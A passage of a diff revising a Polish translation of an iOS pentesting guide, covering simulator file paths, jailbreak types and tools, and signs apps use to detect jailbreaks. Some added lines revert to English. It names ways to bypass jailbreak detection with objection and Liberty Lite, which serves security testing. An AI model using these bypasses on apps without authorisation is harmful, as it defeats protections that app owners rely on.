telefonie w **`/Library/MobileDevice Pierwszą rzeczą, którą musisz wiedzieć, jest to, że **przeprowadzanie pentestu w symulatorze będzie znacznie bardziej ograniczone niż robienie tego na urządzeniu z jailbreakiem**. Wszystkie narzędzia potrzebne do budowy i wsparcia aplikacji iOS są **oficjalnie wspierane tylko na Mac OS**.\ -De facto narzędziem Apple do tworzenia/debugowania/instrumentowania aplikacji iOS jest **Xcode**. Może być używane do pobierania innych komponentów, takich jak **symulatory** i różne **wersje SDK** wymagane do budowy i **testowania** twojej aplikacji.\ +De facto narzędziem Apple do tworzenia/debugowania/instrumentowania aplikacji iOS jest **Xcode**. Może być używane do pobierania innych komponentów, takich jak **symulatory** i różne **wersje SDK**, które są wymagane do budowy i **testowania** aplikacji.\ Zaleca się **pobranie** Xcode z **oficjalnego sklepu z aplikacjami**. Inne wersje mogą zawierać złośliwe oprogramowanie. Pliki symulatora można znaleźć w `/Users//Library/Developer/CoreSimulator/Devices` @@ -37,54 +37,58 @@ Aby otworzyć symulator, uruchom Xcode, a następnie kliknij w _zakładkę Xcode ### Aplikacje w Symulatorze -W `/Users//Library/Developer/CoreSimulator/Devices` możesz znaleźć wszystkie **zainstalowane symulatory**. Jeśli chcesz uzyskać dostęp do plików aplikacji utworzonej w jednym z emulatorów, może być trudno wiedzieć, **na którym z nich aplikacja jest zainstalowana**. Szybkim sposobem na **znalezienie poprawnego UID** jest uruchomienie aplikacji w symulatorze i wykonanie: +W folderze `/Users//Library/Developer/CoreSimulator/Devices` możesz znaleźć wszystkie **zainstalowane symulatory**. Jeśli chcesz uzyskać dostęp do plików aplikacji utworzonej w jednym z emulatorów, może być trudno wiedzieć, **na którym z nich aplikacja jest zainstalowana**. Szybkim sposobem na **znalezienie poprawnego UID** jest uruchomienie aplikacji w symulatorze i wykonanie: ```bash xcrun simctl list | grep Booted iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted) ``` -Gdy znasz UID, aplikacje zainstalowane w jego obrębie można znaleźć w `/Users//Library/Developer/CoreSimulator/Devices/{UID}/data/Containers/Data/Application` +Once you know the UID the apps installed within it can be found in `/Users//Library/Developer/CoreSimulator/Devices/{UID}/data/Containers/Data/Application` -Jednak, co zaskakujące, nie znajdziesz aplikacji tutaj. Musisz uzyskać dostęp do `/Users//Library/Developer/Xcode/DerivedData/{Application}/Build/Products/Debug-iphonesimulator/` +Jednak, zaskakująco, nie znajdziesz aplikacji tutaj. Musisz uzyskać dostęp do `/Users//Library/Developer/Xcode/DerivedData/{Application}/Build/Products/Debug-iphonesimulator/` A w tym folderze możesz **znaleźć pakiet aplikacji.** ## Emulator -Corellium to jedyny publicznie dostępny emulator iOS. Jest to rozwiązanie SaaS dla przedsiębiorstw z modelem licencji na użytkownika i nie oferuje żadnej licencji próbnej. +Corellium jest jedynym publicznie dostępnym emulatorem iOS. Jest to rozwiązanie SaaS dla przedsiębiorstw z modelem licencji na użytkownika i nie oferuje żadnej licencji próbnej. -## Nie potrzebujesz jailbreaka +## No Jailbreak needed -Sprawdź ten post na blogu na temat testowania aplikacji iOS na **urządzeniu bez jailbreaka**: [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) +Sprawdź ten post na blogu o tym, jak przeprowadzić pentesting aplikacji iOS na **urządzeniu bez jailbreaka**: + +{{#ref}} +ios-pentesting-without-jailbreak.md +{{#endref}} ## Jailbreaking -Apple ściśle wymaga, aby kod działający na iPhonie był **podpisany certyfikatem wydanym przez Apple**. **Jailbreaking** to proces aktywnego **omijania takich ograniczeń** i innych zabezpieczeń wprowadzonych przez system operacyjny. Dlatego, gdy urządzenie jest jailbreakowane, **sprawdzenie integralności**, które odpowiada za kontrolowanie instalacji aplikacji, jest poprawiane, więc jest **omijane**. +Apple ściśle wymaga, aby kod działający na iPhonie był **podpisany certyfikatem wydanym przez Apple**. **Jailbreaking** to proces aktywnego **obejścia takich ograniczeń** i innych zabezpieczeń wprowadzonych przez system operacyjny. Dlatego, gdy urządzenie jest jailbreakowane, **sprawdzenie integralności**, które odpowiada za kontrolowanie instalacji aplikacji, jest łatane, więc jest **obejście**. > [!NOTE] -> W przeciwieństwie do Androida, **nie możesz przełączyć się na "Tryb dewelopera"** w iOS, aby uruchomić niesigned/niezaufany kod na urządzeniu. +> W przeciwieństwie do Androida, **nie możesz przełączyć się na "Tryb dewelopera"** w iOS, aby uruchomić niesigned/niewiarygodny kod na urządzeniu. -### Rooting Androida vs. Jailbreaking iOS +### Android Rooting vs. iOS Jailbreaking -Chociaż często porównywane, **rooting** na Androidzie i **jailbreaking** na iOS to zasadniczo różne procesy. Rootowanie urządzeń z Androidem może obejmować **instalację binarnego pliku `su`** lub **wymianę systemu na dostosowane ROM-y z rootem**, co niekoniecznie wymaga exploitów, jeśli bootloader jest odblokowany. **Flashing custom ROMs** zastępuje system operacyjny urządzenia po odblokowaniu bootloadera, czasami wymagając exploita. +Chociaż często porównywane, **rooting** na Androidzie i **jailbreaking** na iOS to zasadniczo różne procesy. Rootowanie urządzeń z Androidem może obejmować **instalację binarnego pliku `su`** lub **wymianę systemu na zrootowany niestandardowy ROM**, co niekoniecznie wymaga exploitów, jeśli bootloader jest odblokowany. **Flashing custom ROMs** zastępuje system operacyjny urządzenia po odblokowaniu bootloadera, czasami wymagając exploita. -W przeciwieństwie do tego, urządzenia iOS nie mogą flashować dostosowanych ROM-ów z powodu ograniczenia bootloadera do uruchamiania tylko obrazów podpisanych przez Apple. **Jailbreaking iOS** ma na celu ominięcie zabezpieczeń podpisywania kodu Apple, aby uruchomić niesigned kod, proces skomplikowany przez ciągłe ulepszenia zabezpieczeń Apple. +W przeciwieństwie do tego, urządzenia iOS nie mogą flashować niestandardowych ROM-ów z powodu ograniczenia bootloadera do uruchamiania tylko obrazów podpisanych przez Apple. **Jailbreaking iOS** ma na celu obejście zabezpieczeń podpisywania kodu Apple, aby uruchomić niesigned kod, proces skomplikowany przez ciągłe ulepszenia zabezpieczeń Apple. -### Wyzwania związane z Jailbreakingiem +### Jailbreaking Challenges -Jailbreaking iOS staje się coraz trudniejszy, ponieważ Apple szybko łata luki. **Downgrade iOS** jest możliwy tylko przez ograniczony czas po wydaniu, co sprawia, że jailbreak jest kwestią czasową. Urządzenia używane do testów bezpieczeństwa nie powinny być aktualizowane, chyba że ponowny jailbreak jest gwarantowany. +Jailbreaking iOS staje się coraz trudniejszy, ponieważ Apple szybko łata luki. **Downgrade iOS** jest możliwy tylko przez ograniczony czas po wydaniu, co sprawia, że jailbreak jest kwestią czasową. Urządzenia używane do testów bezpieczeństwa nie powinny być aktualizowane, chyba że ponowne jailbreakowanie jest gwarantowane. Aktualizacje iOS są kontrolowane przez **mechanizm wyzwań i odpowiedzi** (SHSH blobs), pozwalający na instalację tylko dla odpowiedzi podpisanych przez Apple. Ten mechanizm, znany jako "okno podpisywania", ogranicza możliwość przechowywania i późniejszego używania pakietów firmware OTA. Strona [IPSW Downloads](https://ipsw.me) jest zasobem do sprawdzania aktualnych okien podpisywania. -### Rodzaje Jailbreaków +### Jailbreak Varieties -- **Jailbreak tethered** wymaga połączenia z komputerem przy każdym ponownym uruchomieniu. -- **Jailbreak semi-tethered** pozwala na uruchomienie w trybie bez jailbreaka bez komputera. -- **Jailbreak semi-untethered** wymaga ręcznego ponownego jailbreaka bez potrzeby korzystania z komputera. -- **Jailbreak untethered** oferuje trwałe rozwiązanie jailbreakowe bez potrzeby ponownej aplikacji. +- **Tethered jailbreaks** wymagają połączenia z komputerem przy każdym ponownym uruchomieniu. +- **Semi-tethered jailbreaks** pozwalają na uruchomienie w trybie bez jailbreaka bez komputera. +- **Semi-untethered jailbreaks** wymagają ręcznego ponownego jailbreakowania bez potrzeby korzystania z komputera. +- **Untethered jailbreaks** oferują trwałe rozwiązanie jailbreak bez potrzeby ponownej aplikacji. -### Narzędzia i zasoby do Jailbreakingu +### Jailbreaking Tools and Resources -Narzędzia do jailbreakingu różnią się w zależności od wersji iOS i urządzenia. Zasoby takie jak [Can I Jailbreak?](https://canijailbreak.com), [The iPhone Wiki](https://www.theiphonewiki.com) i [Reddit Jailbreak](https://www.reddit.com/r/jailbreak/) dostarczają aktualnych informacji. Przykłady to: +Narzędzia do jailbreakowania różnią się w zależności od wersji iOS i urządzenia. Zasoby takie jak [Can I Jailbreak?](https://canijailbreak.com), [The iPhone Wiki](https://www.theiphonewiki.com) i [Reddit Jailbreak](https://www.reddit.com/r/jailbreak/) dostarczają aktualnych informacji. Przykłady obejmują: - [Checkra1n](https://checkra.in/) dla urządzeń z chipami A7-A11. - [Palera1n](https://palera.in/) dla urządzeń Checkm8 (A8-A11) na iOS 15.0-16.5. @@ -92,21 +96,21 @@ Narzędzia do jailbreakingu różnią się w zależności od wersji iOS i urząd Modyfikowanie urządzenia wiąże się z ryzykiem, a jailbreak powinien być traktowany z ostrożnością. -### Korzyści i ryzyka związane z Jailbreakingiem +### Jailbreaking Benefits and Risks -Jailbreaking **usuwa piaskownicę narzuconą przez system operacyjny**, umożliwiając aplikacjom dostęp do całego systemu plików. Ta swoboda pozwala na instalację niezatwierdzonych aplikacji i dostęp do większej liczby interfejsów API. Jednak dla zwykłych użytkowników, jailbreak **nie jest zalecany** z powodu potencjalnych zagrożeń bezpieczeństwa i niestabilności urządzenia. +Jailbreaking **usuwa piaskownicę narzuconą przez system operacyjny**, umożliwiając aplikacjom dostęp do całego systemu plików. Ta swoboda umożliwia instalację niezatwierdzonych aplikacji i dostęp do większej liczby interfejsów API. Jednak dla zwykłych użytkowników jailbreak **nie jest zalecany** z powodu potencjalnych zagrożeń bezpieczeństwa i niestabilności urządzenia. -### **Po Jailbreaku** +### **After Jailbreaking** {{#ref}} basic-ios-testing-operations.md {{#endref}} -### **Wykrywanie Jailbreaka** +### **Jailbreak Detection** **Kilka aplikacji spróbuje wykryć, czy urządzenie mobilne jest jailbreakowane, a w takim przypadku aplikacja nie będzie działać** -- Po jailbreaku w iOS **pliki i foldery są zazwyczaj instalowane**, które można przeszukać, aby ustalić, czy urządzenie jest jailbreakowane. +- Po jailbreakowaniu iOS **pliki i foldery są zazwyczaj instalowane**, które można przeszukać, aby ustalić, czy urządzenie jest jailbreakowane. - W urządzeniu z jailbreakiem aplikacje uzyskują **dostęp do odczytu/zapisu do nowych plików** poza piaskownicą. - Niektóre **wywołania API** **będą **zachowywać się inaczej**. - Obecność usługi **OpenSSH**. @@ -116,12 +120,12 @@ basic-ios-testing-operations.md Możesz spróbować uniknąć tych wykryć, używając **objection's** `ios jailbreak disable` -## **Obejście wykrywania jailbreaka** +## **Jailbreak Detection Bypass** - Możesz spróbować uniknąć tych wykryć, używając **objection's** `ios jailbreak disable` -- Możesz również zainstalować narzędzie **Liberty Lite** (https://ryleyangus.com/repo/). Po dodaniu repo, aplikacja powinna pojawić się w zakładce 'Szukaj' +- Możesz również zainstalować narzędzie **Liberty Lite** (https://ryleyangus.com/repo/). Po dodaniu repo, aplikacja powinna pojawić się w zakładce 'Search' -## Referencje +## References - [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)